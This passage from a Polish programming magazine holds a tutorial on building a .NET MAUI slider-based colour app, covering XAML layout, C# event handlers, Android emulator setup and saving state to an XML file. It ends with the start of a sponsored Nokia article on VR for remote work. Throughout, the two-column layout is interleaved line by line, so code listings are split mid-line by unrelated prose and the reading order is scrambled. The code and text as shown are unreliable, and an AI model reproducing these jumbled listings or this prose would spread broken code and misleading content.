Cały kod z pliku MainWindows.xaml jest widoczny w Listingu 1. <Slider
x:Name="sliderB"
Elementem nadrzędnym jest element Page (z ang. strona), reprezen- Grid.Row="3" />
tujący zawartość okna aplikacji. W nim zagnieżdżony jest element
ScrollView umożliwiający przewijanie zawartości, jeżeli jest większa Kolejnym krokiem będzie związanie z suwakami metody zdarze-
od rozmiaru okna lub ekranu, a w nim element Grid (z ang. siatka), niowej reagującej na zmianę ich pozycji. Kod tej metody powinien
odpowiadający za ułożenie kontrolek w oknie. To w tym elemencie są znaleźć się w klasie KoloryMAUI.MainPage. Jest to klasa wskazana
wszystkie kontrolki, które będzie widział użytkownik, czyli prostokąt w atrybucie x:Class elementu Page kodu XAML. Klasa ta, razem
i trzy suwaki. Zagnieżdżenie elementów oznacza, że „zewnętrzna” z kodem XAML, jest zatem częścią warstwy widoku. Często używa
kontrolka jest pojemnikiem, w którym znajdują się kontrolki repre- się na jej określenie sformułowania code-behind, czyli „kod stojący za
zentowane przez „wewnętrzne” elementy. Przy czym część ustawień widokiem”. W kontekście MVVM określenie to ma negatywny wy-
pojemnika jest przekazywana elementom zagnieżdżonym. dźwięk, bo zgodnie z najbardziej rygorystyczną egzegezą tego wzorca

{ WWW.PROGRAMISTAMAG.PL } <11>
BIBLIOTEKI I NARZĘDZIA

projekt aplikacji z graficznym interfejsem użytkownika (WPF, UWP


lub MAUI) w ogóle nie powinien zawierać code-behind. To ozna-
cza porzucenie mechanizmu zdarzeń na rzecz wiązań z niżej leżącą
warstwą.
Obecna wersja Visual Studio 2022 nie umożliwia jeszcze tworze-
nia metody zdarzeniowej z poziomu widoku projektowania. Dodaj-
my więc samodzielnie odpowiedni atrybut do elementu reprezentu-
jącego pierwszy suwak (Listing 3), wskazując nazwę metody, którą
następnie musimy również sami dodać do klasy MainPage z pliku
MainPage.xaml.cs. Do nowej metody wstawmy polecenie zmieniają-
ce kolor prostokąta na ceglany (Listing 4). To oczywiście tylko tym-
Rysunek 9. Zmiana koloru po przesunięciu suwaka
czasowe rozwiązanie, dzięki któremu sprawdzimy, czy mechanizm
zdarzeń w ogóle działa.

Listing 3. Związanie metody ze zdarzeniem kontrolki w kodzie XAML PASEK INSPEKCJI


<Slider Przy okazji zwróćmy uwagę na pasek inspekcji widoczny po środku
x:Name="sliderR"
Grid.Row="1" górnej krawędzi okna aplikacji uruchomionej w trybie debugowa-
ValueChanged="slider_ValueChanged" /> nia. Można go przesuwać i zwinąć, jeżeli przeszkadza. Zawiera sie-
Listing 4. Zmiana pozycji najwyższego suwaka spowoduje zmianę koloru dem ikon kontrolujących inspekcję kodu XAML w trakcie działania
prostokąta aplikacji. Na razie nie wszystko jednak działa. Kliknięcie pierwszych
private void slider_ValueChanged(object sender, EventArgs e)
dwóch ikon otwiera podokna Visual Studio. Pierwsza ikona otwie-
{ ra podokno o nazwie Dynamiczne drzewo wizualne (ang. Live Visual
rectangle.Fill = Brush.Firebrick;
} Tree) zawierające aktualizowane na bieżąco drzewo kontrolek XAML
działającej aplikacji. W drzewie tym widoczne są nie tylko kontrolki
Wykorzystany przez nas prostokąt można pokolorować, zmieniając wstawione do kodu XAML projektu, ale również te, z których te kon-
zarówno jego brzeg (atrybut/własność Stroke), jak i wypełnienie trolki są zbudowane. Każdy element jest wymieniony z nazwy (jeżeli
(Fill). My zmieniamy tylko wypełnienie. Przekonajmy się o tym, ją ma) i typu podanego w nawiasach kwadratowych (Rysunek 10).
kompilując projekt, uruchamiając aplikację (klawisz F5) i zmieniając Warto zwrócić uwagę, że to podokno ma pasek narzędzi z ikonami
pozycję pierwszego suwaka (Rysunek 9). podobnymi, jak do tych z paska inspekcji dodanego do okna apli-

Rysunek 10. Drzewo kontrolek XAML dla działającej aplikacji oraz aktualizowana na żywo lista własności

<12> { 2 / 2022 < 101 > }


/ Pierwsze spojrzenie na .NET MAUI /

kacji uruchomionego w trybie debugowania (m.in. ikonę pozwala- na nazwę klasy w kodzie (z czerwonym podkreśleniem) i naciskając
jącą usunąć pasek z aplikacji oraz ikonę pozwalającą na ogranicze- kombinację klawiszy Alt+Enter lub Ctrl+. (kropka). Należy wówczas
nie pokazywanych elementów do tych zdefiniowanych w projekcie). zwrócić uwagę, żeby dodać właściwą przestrzeń nazw, bo klasa o tej
W przyszłości obok podokna z drzewem elementów XAML warto samej nazwie zdefiniowana jest również w przestrzeniach System.
będzie ustawić podokno Eksplorator własności na żywo (ang. Live Drawing i Android.Graphics, których propozycje również zoba-
Property Explorer), które pozwoli przejrzeć stan zaznaczonej kon- czymy. Ponadto, aby zsynchronizować początkowy kolor prostokąta
trolki podczas działania aplikacji (na razie jest jednak puste). Dla z pozycją suwaków, po uruchomieniu programu wywołajmy metodę
wygody okna te można także odpiąć od głównego okna Visual Stu- sliderR_ValueChanged z konstruktora klasy MainPage (Listing 6).
dio i ustawić obok okna debugowanej aplikacji. Druga ikona uru-
chamia podgląd interfejsu aplikacji na żywo (podokno Podgląd na W nowszych wersjach VS 2022 (pod koniec stycznia br. wyszła wersja 17.1.0 Preview
3.0) plik MainPage.cs.xaml wygląda nieco inaczej. Nie ma sekcji using, która jest
żywo XAML widoczne na Rysunku 10), które może być szczególnie zarządzana domyślnie przez dodawanie globalnych przestrzeni nazw dla wszystkich
wygodne, gdy korzystamy z rzeczywistego urządzenia podłączone- plików z kodem C#. Ponadto, zamiast przestrzeni nazw otoczonej nawiasami klamro-
wymi, na początku pliku znajduje się tylko formuła namespace KoloryMAUI;, która
go do komputera kablem USB. Kolejne trzy ikony to przełączniki. oznacza, że cała zawartość pliku należy do przestrzeni KoloryMAUI.
Pierwszy włącza i wyłącza tryb selekcji w oknie debugowanej apli-
kacji. W trybie selekcji powinniśmy móc zaznaczać poszczególne
Listing 5. Zmiana koloru prostokąta w zależności od pozycji suwaków
elementy XAML, z których jest zbudowany interfejs. Wskazanie jed-
nego z nich w oknie aplikacji odzwierciedlane jest także w drzewie using System;
using Microsoft.Maui.Controls;
kontrolek. Na razie to jednak nie działa. Drugi przełącznik pokazuje using Microsoft.Maui.Essentials;
lub ukrywa strukturę interfejsu, uwidaczniając szczegóły elementów using Microsoft.Maui.Graphics;
kontrolujących ułożenie kontrolek. W przypadku używanej przez nas namespace KoloryMAUI
{
siatki można dzięki temu zobaczyć jej podział na wiersze i kolumny. public partial class MainPage : ContentPage
Natomiast użycie trzeciego przełącznika powoduje, że w podoknach {
public MainPage()
z drzewem elementów oraz podglądu własności na żywo powin- {
ny być pokazywane kontrolki mające aktualnie „focus”. To jednak InitializeComponent();
slider_ValueChanged(null, null);
na razie również nie działa. Dwie ostatnie ikony pokazują informacje }
o stanie aplikacji. Szczególnie ważna jest pierwsza z nich (przedostat- private void slider_ValueChanged(object sender,
nia ze wszystkich ikon), pokazująca liczbę błędów wiązania. My jed- EventArgs e)
{
nak nie korzystamy z tego mechanizmu w tej aplikacji (tym zajmie- Color color = Color.FromRgb(
my się w kolejnym artykule). Ostatnia ikona pokazuje jedynie, czy sliderR.Value,
sliderG.Value,
możliwe jest skorzystanie z przeładowania aplikacji na gorąco – nowa sliderB.Value);
umiejętność Visual Studio 2022. rectangle.Fill = new SolidColorBrush(color);
}
}
}
KONIEC DZIEŁA
Wróćmy do projektu i zwiążmy utworzoną przed chwilą metodę Osoby, które zaczynają naukę C#, znając już C++, mogą mieć poważne
zdarzeniową z dwoma pozostałymi suwakami. Wystarczy w kodzie wątpliwości co do metody z Listingu 5, widząc w niej źródło wycieku
XAML skopiować atrybut ValueChanged z przypisaną nazwą funk- pamięci. Wprawdzie na platformie .NET zarządzaniem pamięcią zaj-
cji do elementów sliderG i sliderB. Aby aplikacja uzyskała zapla- muje się garbage collector (odśmiecacz) i cyklicznie usuwa z pamięci
nowaną funkcjonalność, metoda musi zmieniać kolor prostokąta wszystkie obiekty, do których nie ma już referencji, jednak także w C#
odpowiednio do bieżących pozycji suwaków. Musimy zatem odczy- ciągłe tworzenie nowych obiektów może nie być najlepszym rozwią-
tać ich własności Value, ustalić na ich podstawie kolor i przypisać zaniem. Tworzenie nowego obiektu typu SolidColorBrush (typ re-
go do własności Fill prostokąta. Wartość Value jest typu double, ferencyjny) przy każdym poruszeniu suwakiem jest bowiem sporym
podobnie jak wiele własności odpowiadających za pozycję i wygląd wyzwaniem dla garbage collectora, który musi wówczas zwalniać
w WPF, UWP i MAUI (w odróżnieniu od starszej technologii Win- z pamięci poprzednio używane obiekty. Lepiej byłoby modyfikować
dows Forms). Domyślnie przyjmuje wartości z zakresu od 0 do 1 (do- własność opisującą kolor w istniejącym obiekcie. Jednak w pierwszej
myślne wartości własności Minimum i Maximum). Taki zakres wartości aplikacji zostawmy ten kod w takiej postaci, w jakiej jest w tej chwili –
nam odpowiada, więc nie będziemy go zmieniać. Alternatywą była- chodzi teraz przede wszystkim o oswojenie kontrolek MAUI.
by zmiana zakresu na 0–255 i ustalanie koloru z użyciem wartości
typu byte (kolor i tak jest przechowywany w czterech bajtach: trzy
URUCHAMIANIE W SYSTEMIE ANDROID
składowe RGB i nieprzezroczystość w kanale alfa), ale zostańmy przy
liczbach rzeczywistych. Jeżeli instalując Visual Studio 2022 Preview, wybraliśmy także ze-
Zmieńmy metodę zdarzeniową zgodnie ze wzorem z Listingu 6. staw pakietów Xamarin, zainstalowane zostały narzędzia do two-
Użyta w niej klasa Color należy do przestrzeni nazw Microsoft. rzenia wirtualnych urządzeń z systemem Android. W przeciwnym
Maui.Graphics. Tę przestrzeń należy dodać do sekcji poleceń using razie warto zrobić to teraz. Jeżeli wcześniej nie tworzyliśmy żadne-
na początku pliku MainPage.xaml.cs. Można to łatwo zrobić, klikając go projektu MAUI lub Xamarin i nie podłączyliśmy do komputera

{ WWW.PROGRAMISTAMAG.PL } <13>
BIBLIOTEKI I NARZĘDZIA

smartfona z systemem Android, w liście dostępnych urządzeń będzie


jedynie pozycja Emulator systemu Android. Na marginesie: na żad-
nym z testowanych przeze mnie komputerów VS nie zobaczył zapi-
sanych wcześniej na dysku wirtualnych urządzeń utworzonych za
pomocą innych narzędzi, np. Android Studio, ale jeżeli uruchomimy
je w emulatorze, wówczas pojawiają się także w opcjach uruchamia-
nia VS. Wybranie pozycji Emulator systemu Android spowoduje uru-
chomienie menedżera urządzeń z systemem Android (Rysunek 11),
który można uruchomić także z menu Narzędzia, Android, Android
Device Manager… i który proponuje utworzenie urządzenia Pixel 5
z systemem Android w wersji 11. Aby to zrobić, kliknijmy po pro-
stu przycisk Create. Warto także stworzyć urządzenie z niższą wersją
Androida. Zgodnie z obecnymi deklaracjami najniższą obsługiwaną
przez .NET MAUI wersją jest Android 5.0 (API 21). Po utworzeniu
wirtualnego urządzenia, co zajmie dłuższą chwilę, możemy urucho-
mić emulator. W tym momencie może pojawić się komunikat in-
formujący o niewłączonej funkcji Hyper-V. W takiej sytuacji trzeba
z menu systemu Windows uruchomić narzędzie Funkcje systemu
Windows i włączyć funkcję Hyper-V oraz platformę funkcji Hype-
rvision systemu Windows (Rysunek 12). Konieczne może być jednak
wcześniejsze włączenie wsparcia dla wirtualizacji w systemie BIOS.
Informacje o stanie tej funkcji można odczytać za pomocą polecenia Rysunek 12. Hyper-V jest niezbędna do działania emulatorów urządzeń z systemem
Android
systeminfo uruchomionego w linii komend.

Rysunek 11. Tworzenie AVD z poziomu VS

<14> { 2 / 2022 < 101 > }


/ Pierwsze spojrzenie na .NET MAUI /

Teraz wreszcie możemy z listy urządzeń w pasku narzędzi VS tości okna) nie jest jednoznacznie określona, przez co gwiazdka w
wybrać Pixel 5 – API 30 (Android 11.0 – API 30) i trzymając kciuki, definicji wierszy nie mogłaby skutecznie zadziałać. Na koniec nale-
kliknąć Uruchom w pasku narzędzi VS. Warto wcześniej upewnić się, ży także usunąć znacznik HeightRequest w elemencie Rectangle,
że platforma jest odpowiednia, tj. że wybrana jest pozycja Platforma żeby prostokąt mógł wykorzystać całe miejsce w pierwszym wierszu.
– net6.0-android. Tym razem kompilacja i wdrożenie potrwają dłu- Wszystkie zmiany zaznaczone są w Listingu 6.
żej, bo pakiet aplikacji przesyłany i wdrażany jest na emulowanym
Listing 6. „Uelastycznienie” ułożenia kontrolek
systemie. A ten proces w przypadku projektów MAUI też bywa ka-
pryśny. Czasem trzeba przebudować projekt (Ctrl+Shift+B), a cza- <ContentPage
xmlns="http://schemas.microsoft.com/dotnet/2021/maui"
sem zmienić platformę na inną i wrócić do Androida, żeby kompila- xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
cja i wdrożenie zadziałało. Po uruchomieniu aplikacji (Rysunek 13), x:Class="KoloryMAUI.MainPage"
BackgroundColor="{DynamicResource SecondaryColor}" >
jeżeli wielkość ekranu urządzenia jest niewielka, może się okazać, że
<ScrollView>
trzeba będzie zmienić wysokość prostokąta, żeby widać było wszyst- <Grid
kie suwaki. Może być też tak, że pod suwakami zostaje dużo wolnego RowSpacing="25"
RowDefinitions="*,Auto,Auto,Auto"
miejsca. Za chwilę zmienimy nieco kod XAML, aby interfejs stał się Padding="{OnPlatform iOS='30,60,30,30',
Default='30'}" >
bardziej elastyczny i wysokość prostokąta dopasowywała się do wol-
nego miejsca. <Rectangle
x:Name="rectangle"
Grid.Row="0"
HeightRequest="300"
Fill="Black" />
<Slider
x:Name="sliderR"
Grid.Row="1"
Maximum="255"
ValueChanged="slider_ValueChanged" />
<Slider
x:Name="sliderG"
Grid.Row="2"
Maximum="255"
ValueChanged="slider_ValueChanged" />
<Slider
x:Name="sliderB"
Grid.Row="3"
Maximum="255"
ValueChanged="slider_ValueChanged" />

</Grid>
</ScrollView>
</ContentPage>

Jeżeli teraz uruchomimy aplikację, zobaczymy, że zawartość wypeł-


nia cały ekran. Co więcej, jeżeli uruchomimy ją pod Windows i bę-
dziemy zmieniać rozmiar okna, rozmiary kontrolek będą się do nie-
go dopasowywać.
Skoro już uporządkowaliśmy widok, możemy go nieco rozbudo-
wać. Dodajmy z prawej strony każdego suwaka etykietę prezentującą
Rysunek 13. Aplikacja uruchomiona w emulatorze smartfona z system Android
wartość odpowiedniej składowej koloru. Dla etykiet przeznaczmy
osobną kolumnę w siatce. Suwaki będą w pierwszej, a etykiety w dru-
giej, mniejszej kolumnie o ustalonej szerokości. Element Rectangle

ZMIANA UKŁADU KONTROLEK będzie natomiast rozciągał się na obie kolumny. Odpowiednie zmia-
ny w kodzie XAML zostały wyróżnione w Listingu 7. Zmieniona
Jeszcze kilka miesięcy do premiery .NET MAUI, więc nadal nie musi zostać także metoda zdarzeniowa – należy z niej bowiem teraz
wszystko jest gotowe. Nie ma na przykład znanego z Xamarin i WPF aktualizować wartości pokazywane na etykietach (Listing 8).
elementu DockLayout, który pozwoliłby na przyklejenie suwaków
Listing 7. Dodanie kolumny z etykietami
do „ścian” okna. Być może pojawi się też wprowadzony do UWP
element RelativePanel. Zostańmy zatem przy siatce (Grid alias <ContentPage
xmlns="http://schemas.microsoft.com/dotnet/2021/maui"
GridLayout), ale wprowadźmy kilka zmian, które uczynią ułożenie xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
kontrolek bardziej elastycznym. W tym celu w atrybucie RowDefi- x:Class="KoloryMAUI.MainPage"
BackgroundColor="{DynamicResource SecondaryColor}" >
nitions definiującym wiersze w elemencie Grid zastąpmy pierwszą
<Grid RowSpacing="25" RowDefinitions="*,Auto,Auto,Auto"
wartość Auto przez gwiazdkę, co spowoduje, że pierwszy wiersz (ten ColumnSpacing="25" ColumnDefinitions="*,Auto"
z prostokątem) zajmie całą przestrzeń niezajętą przez trzy pozostałe Padding="{OnPlatform iOS='30,60,30,30',
Default='30'}" >
(w nich są suwaki). Usuńmy także element ScrollView, który umoż-
liwia przewijanie zawartości, powodując, że wysokość strony (zawar-

{ WWW.PROGRAMISTAMAG.PL } <15>
BIBLIOTEKI I NARZĘDZIA

<Rectangle ki nie mają minimalnej szerokości i „znikają”. Możemy jednak temu za-
x:Name="rectangle"
Grid.Row="0" Grid.ColumnSpan="2"
radzić, ustawiając szerokość drugiej kolumny na sztywno zamiast do-
Fill="Black" /> pasowywać ją do zawartości komórek: ColumnDefinitions="*,65".
<Slider
x:Name="sliderR"
Grid.Row="1"
Maximum="255" ZAPISYWANIE I ODTWARZANIE STANU
ValueChanged="slider_ValueChanged" />
<Label
APLIKACJI
x:Name="labelR"
WidthRequest="65" Zachowaniem, którego oczekujemy od nowoczesnych aplikacji, jest
Grid.Row="1" Grid.Column="1" odtwarzanie stanu aplikacji po jej zamknięciu i ponownym urucho-
HorizontalTextAlignment="End"
VerticalTextAlignment="Center" mieniu. W przypadku tak prostej aplikacji jak nasza, w której stan
Text="0" TextColor="Red" FontSize="35" />
<Slider
aplikacji to w istocie trzy wartości typu byte, do zapisania jej stanu
x:Name="sliderG" w zupełności wystarczy prosty plik tekstowy, np. w formacie XML.
Grid.Row="2"
Maximum="255" Niestety mechanizm ustawień aplikacji oferowany przez platfor-
ValueChanged="slider_ValueChanged" /> mę .NET w aplikacjach Windows Forms i WPF nie jest dostępny
<Label
x:Name="labelG" w MAUI (miejmy nadzieję, że tylko na razie). Zamiast tego sami za-
WidthRequest="65" piszmy stan aplikacji do pliku XML. To budzi niepokój, bo systemy
Grid.Row="2" Grid.Column="1"
HorizontalTextAlignment="End" plików w obu testowanych systemach są zupełnie inaczej zorganizo-
VerticalTextAlignment="Center" wane. Na szczęście .NET MAUI działa na bazie .NET 6, które ujed-
Text="0" TextColor="Green" FontSize="35" />
<Slider nolica i rozwiązuje wiele spraw, w tym obsługę plików.
x:Name="sliderB"
Licząc na pomoc .NET 6, a konkretnie technologii Linq to XML,
Grid.Row="3"
Maximum="255" spróbujmy samodzielnie przygotować proste metody statyczne zapi-
ValueChanged="slider_ValueChanged" />
<Label
sujące i odczytujące stan aplikacji w pliku XML (Listing 9). Aby utrzy-
x:Name="labelB" mać porządek, umieściłem je w osobnej klasie Settings zapisanej do
WidthRequest="65"
Grid.Row="4" Grid.Column="1" nowego pliku Settings.cs. Aby utworzyć plik z tą klasą w oknie Eks-
HorizontalTextAlignment="End" plorator rozwiązań, w drzewie plików kliknąłem prawym klawiszem
VerticalTextAlignment="Center"
Text="0" TextColor="Blue" FontSize="35" /> myszy pozycję odpowiadającą projektowi i z menu kontekstowego,
</Grid> które wówczas się pojawiło, wybrałem Dodaj, Klasa…. W oknie dia-
</ContentPage>
logowym należy wskazać nazwę Settings.cs i kliknąć przycisk Dodaj.
Listing 8. Aktualizacja tekstu pokazywanego przez etykiety z kodu C# Zastanawiałem się przez chwilę, w jaki sposób przekazywać do meto-
private void slider_ValueChanged(object sender, EventArgs e)
dy Settings.Save i odbierać z metody Settings.Load stan aplikacji.
{ Rozważałem użycie klasy Color, ale to utrudniałoby ewentualną póź-
Color color = Color.FromRgb(
sliderR.Value, niejszą separację modelu i widoku. Dlatego zdecydowałem się wyko-
sliderG.Value, rzystać trójelementową krotkę.
sliderB.Value);
rectangle.Fill = new SolidColorBrush(color); Listing 9. Metody pomagające w przechowywaniu stanu aplikacji
labelR.Text = Math.Round(255 * color.Red).ToString();
labelG.Text = Math.Round(255 * color.Green).ToString();
using System.Xml.Linq;
labelB.Text = Math.Round(255 * color.Blue).ToString();
using System.Globalization;
}
namespace KoloryMAUI
{
internal static class Settings
{
private static string filePath = Path.Combine(
Environment.GetFolderPath(
Environment.SpecialFolder.UserProfile),
"kolory.xml");
private static IFormatProvider formatProvider =
CultureInfo.InvariantCulture;

public static void Save(


double r, double g, double b)
{
XDocument xml = new XDocument(
new XElement("ustawienia",
new XElement(
"r",
r.ToString(formatProvider)),
new XElement(
Rysunek 14. Wzbogacony interfejs aplikacji "g",
g.ToString(formatProvider)),
new XElement(
Spodziewany efekt widoczny jest na Rysunku 14. I dokładnie tak działa "b",
aplikacja uruchamiana w Windows. Jednak po uruchomieniu w An- b.ToString(formatProvider))

droidzie wygląd interfejsu się „rozjeżdża” – kontrolki nie są widoczne


w odpowiednich kolumnach. Przyczyną jest to, że w Androidzie suwa-

<16> { 2 / 2022 < 101 > }


/ Pierwsze spojrzenie na .NET MAUI /

) private bool updateGUI = true;


);
xml.Save(filePath); private void slider_ValueChanged(object sender,
} EventArgs e)
{
public static (double r, double g, double b) Load() if (!updateGUI) return;
{ Color color = Color.FromRgb(
if (!File.Exists(filePath)) sliderR.Value,
return (0.0, 0.0, 0.0); sliderG.Value,
try sliderB.Value);
{ rectangle.Fill = new SolidColorBrush(color);
XDocument xml = XDocument.Load(filePath); labelR.Text =
double r = double.Parse( Math.Round(255 * color.Red).ToString();
xml.Root.Element("r").Value, labelG.Text =
formatProvider); Math.Round(255 * color.Green).ToString();
double g = double.Parse( labelB.Text =
xml.Root.Element("g").Value, Math.Round(255 * color.Blue).ToString();
formatProvider); Settings.Save(
double b = double.Parse( sliderR.Value,
xml.Root.Element("b").Value, sliderG.Value,
formatProvider); sliderB.Value);
return (r, g, b); }
} }
catch }
{
return (0.0, 0.0, 0.0);
}
} Po uruchomieniu i zamknięciu aplikacji w katalogu domowym użyt-
} kownika (zarówno w Windows, jak i na innych systemach) pojawi się
}
plik kolory.xml, którego zawartość widoczna jest w Listingu 11. Przy
kolejnym uruchomieniu aplikacji plik ten zostanie odczytany i w ten
W Listingu 10 pokazano użycie tych metod w klasie MainPage. Miej- sposób przywrócony zostanie stan aplikacji z chwili zamknięcia.
sce, w którym plik jest wczytywany, jest dość oczywiste – jest nim
Listing 11. Plik XML przechowujący stan aplikacji
konstruktor klasy. Warto zwrócić uwagę tylko na użycie flagi up-
dateGUI, która zapobiega wielokrotnemu modyfikowaniu kontro- <?xml version="1.0" encoding="utf-8"?>
<!--Zapisano: 13.01.2022 14:41:08-->
lek. Natomiast miejsce zapisu wydaje się niezbyt fortunne, bo plik <ustawienia>
XML zapisujemy w metodzie zdarzeniowej po każdej zmianie koloru <r>0.718</r>
<g>1</g>
w wyniku poruszenia suwakami. Jest tak, ponieważ w pliku Main- <b>0.546</b>
</ustawienia>
Page.xaml określamy jedynie zawartość okna i nie mamy możliwo-
ści zasubskrybowania zdarzenia informującego o jego zamknięciu
(w Windows) lub zdjęcia aktywności z ekranu (w systemach An-
PODSUMOWANIE
droid). Można sobie oczywiście z tym poradzić, ale wówczas trzeba
wyjść poza przyjęte w tym artykule ramy, w których edytujemy tylko Z entuzjazmem kibicuję .NET MAUI. Liczę, że uda się tej technologii
pliki MainPage.xaml i MainPage.xaml.cs. zdobyć popularność wystarczającą do tego, żeby była przez Microsoft
rozwijana i wspierana przez dłuższy czas. Podoba mi się idea ujed-
Listing 10. Zapis i odtworzenie stanu aplikacji
nolicenia narzędzi służących do rozwijania oprogramowania dla róż-
namespace KoloryMAUI nych platform. Zarówno z estetycznego, jak i z biznesowego punktu
{
public partial class MainPage : ContentPage widzenia wydaje się to dobrym pomysłem. Jeżeli w momencie wy-
{ dania możliwości MAUI będą na Windows dorównywały WPF, a na
public MainPage()
{ Androidzie i iOS – Xamarin, jest na to realna szansa.
InitializeComponent();
W następnym numerze powrócimy do tego projektu, realizują-
var color = Settings.Load(); cąc go jednak zgodnie z architekturą MVVM, co oznacza korzysta-
updateGUI = false;
sliderR.Value = color.r; nie z wiązań, zachowań i innych bardziej zaawansowanych technik.
sliderG.Value = color.g; Sprawdzimy, czy ich znajomość przyda się nam w przypadku MAUI.
updateGUI = true;
sliderB.Value = color.b;
}

JACEK MATULEWSKI
Fizyk i informatyk. Kieruje Pracownią Gier Terapeutycznych „GameLab” działającą w Interdyscyplinarnym Centrum Nowo-
czesnych Technologii UMK w Toruniu. Zatrudniony jest w Katedrze Informatyki Stosowanej na Wydziale Fizyki, Astrono-
mii i Informatyki Stosowanej. Habilitował się z optyki kwantowej. Zajmuje się projektowaniem, tworzeniem i badaniem gier
terapeutycznych, tworzeniem oprogramowania na potrzeby badań eksperymentalnych i klinicznych, a także oprogramowania
korzystającego z interakcji wzrokowej (z użyciem eyetrackerów) m.in. dla osób niepełnosprawnych.

{ WWW.PROGRAMISTAMAG.PL } <17>
Virtual Reality lekiem na pandemiczne wyzwania
Wirtualna rzeczywistość (z ang. VR – Virtual Reality) aktualnie jest w rozkwi-
cie. Ta technologia otwiera całkowicie nowe możliwości komunikacji i współ-
pracy pomiędzy ludźmi. W dobie transformacji, z którą mamy aktualnie do
czynienia, to nowatorskie narzędzie ma szansę zrewolucjonizować sposób,
w jaki pracujemy, uczymy się czy też spędzamy wolny czas. Wirtualna rze-
czywistość pozwala przeżyć doznania niespotykane nawet w realnym świe-
cie. Czy to początek rewolucji? Czy branża IT będzie miała wpływ na kreowa-
nie środowiska, w jakim przyjdzie nam pracować w przyszłości?

PIERWSZE DNI PRACY Z DOMU to wystarczy? Bez ich pielęgnowania komunikacja zacznie kuleć, a ta
jest najważniejszym czynnikiem przy realizacji nawet najmniejszych
Krótko przed dniem 11 marca 2020 r., kiedy Światowa Organizacja projektów. A co z nowym pracownikiem? Jak zbudować komunika-
Zdrowia (WHO) ogłosiła pandemię COVID19, dla większości kor- cję, nawiązać więź i dać poczucie sprawczości bez znajomości kultury
poracji otworzył się rozdział, zatytułowany „praca zdalna”. firmy, lokalnego zarządu i własnego zespołu?
W tamtych warunkach nowa perspektywa brzmiała całkiem
rozsądnie. Można było wymienić wiele plusów takiego rozwiąza-
JAK MIEĆ CIASTKO I ZJEŚĆ CIASTKO
nia: praca z domu jest bardzo wygodna, później wstajemy z łóżka,
oszczędzamy czas i pieniądze na dojazdy do pracy, jesteśmy w stanie Praca zdalna miała być idealnym rozwiązaniem na miarę XXI wie-
lepiej zaplanować logistykę przedszkolną/szkolną oraz swojego czasu ku. Aspekty ekologiczne, oszczędność czasu, a przez to większa wy-
wolnego. Z biznesowego punktu widzenia pracodawca miał mniejsze dajność pracowników stała się nagle drugorzędna, w obliczu m.in.
koszty operacyjne związane z wynajmem miejsca pracy czy znacznie depresji, problemów z ergonomią pracy (m.in. bóle kręgosłupa) czy
ograniczone koszty administracyjne (zaopatrzenie biura, wysyłki ku- rozluźnienia relacji z drugim człowiekiem. Zaczęliśmy więc poszuki-
rierskie itp.), kończąc na aspekcie ekologii, gdzie brak konieczności wać sposobu na to, aby zapobiec dalszemu pogłębianiu się codzien-
dojazdu do pracy oznacza mniejszą emisję spalin w miastach. nego marazmu, tym bardziej że nikt już nie ma wątpliwości, iż praca
Taki stan rzeczy pokazał również, jak ważny jest dostęp do szyb- zdalna i hybrydowa na stałe weszły do oferty rynkowej firm. Jedną
kich sieci, w tym najnowszej generacji 5G. Nagle wszyscy „przesie- z odpowiedzi na te wyzwania wydaje się być zastosowanie w codzien-
dliśmy się” przed komputery. I to nie tylko pracownicy biurowi, ale nej pracy technologii VR.
i cała rzesza uczniów czy pracowników administracji. W krakowskim oddziale firmy Nokia aktualnie prowadzimy testy
z wykorzystaniem gogli wirtualnej rzeczywistości. Dzisiejsza techno-

TO JUŻ DWA LATA logia pozwala tworzyć w cyberświecie sale konferencyjne, do których
można przenieść swoje miejsce pracy wraz z domowym biurkiem,
Czas jednak pokazał, jakie zagrożenia przyniosło przeniesienie pracy czy wykorzystać do prezentacji wirtualne tablice, na których w czasie
do domu oraz do świata online. Przede wszystkim straciliśmy uwagę rzeczywistym możemy kreślić swoje pomysły (Rysunek 1).
pracownika. Jego zaangażowanie i przywiązanie do firmy widoczne Awatar twojego współrozmówcy, tłumacząc dane zagadnienie,
jest przede wszystkim u długoletnich pracowników. Czynnik mię- jest w stanie gestykulować, a dzięki ciągłemu rozwojowi technolo-
dzyludzki, te nawiązane przez lata relacje są jeszcze silne i pozwalają gii VR już dziś jest możliwość odczytywania mimiki użytkownika
na tym budować dalszą współpracę i siłę zespołu. Tylko na jak długo i przenoszenia jej bezpośrednio na twarz awatara.

<18> { MATERIAŁ INFORMACYJNY }


Rysunek 1. Przykładowa sesja burzy mózgów z wykorzystaniem wirtualnego pomieszczenia
oraz tablicy

Rysunek 2. Wirtualny „Daily Stand-up Meeting”

Codzienne spotkania zespołów, tj. „Daily Stand-up Meetings”, wymi. Przykład wykorzystania gogli w wyżej wymienionych zastoso-
dzięki zastosowaniu nowego narzędzia mogą odbywać się na stojąco waniach świetnie obrazuje materiał filmowy dostępny pod adresem:
przy tablicy scrumowej, jak to miało miejsce jeszcze przed czasami youtu.be/bPAHmvindEM.
pandemii. Tym samym pracownik chwilowo odrywa się od biurka, Wszystkie przedstawione propozycje mają na celu ostatecznie
przy którym aktualnie spędza większą część dnia pracy (Rysunek 2). wpłynąć na poprawę jakości pracy, a tym samym na jej efektywność.
Jak takie spotkanie wygląda, czytelnik może sprawdzić, oglądając W wyniku przeprowadzonej w firmie ankiety 93% badanych, ko-
krótką prezentację dostępną pod adresem youtu.be/5B4gcbdFMHk. rzystających z technologii VR, uważa, że jej zastosowanie daje moż-
Praca programisty z natury jest twórcza i wymaga dużego sku- liwość odstresowania się po pracy, a 62% jest przekonana, że nowa
pienia, a ciągłe siedzenie przed monitorem, bez przerwy na small technologia może zwiększyć ich efektywność. Taki sam odsetek pra-
talk czy możliwości zmiany otoczenia, obniża produktywność i de- cowników podkreśla, że sprawdza się ona również podczas integracji
motywuje. Dlatego w wielu korporacjach, w czasach przedcovido- z innymi współpracownikami.
wych, można było się zrelaksować, grając z kolegami np. na konsoli, Zdajemy sobie sprawę, że wirtualna rzeczywistość nie zastąpi
w 5-minutową partyjkę piłkarzyków czy ping ponga. Dzięki techno- w pełni kontaktu twarzą w twarz, codziennych rozmów przy kawie,
logii VR możemy przenieść również i ten aspekt do świata wirtualne- imprez świątecznych czy spotkań biznesowych. Jednak z pełną świa-
go, mając nadzieję, że po krótkiej przerwie wrócimy do pracy z od- domością należy podkreślić, że dziś jesteśmy świadkami zmiany.
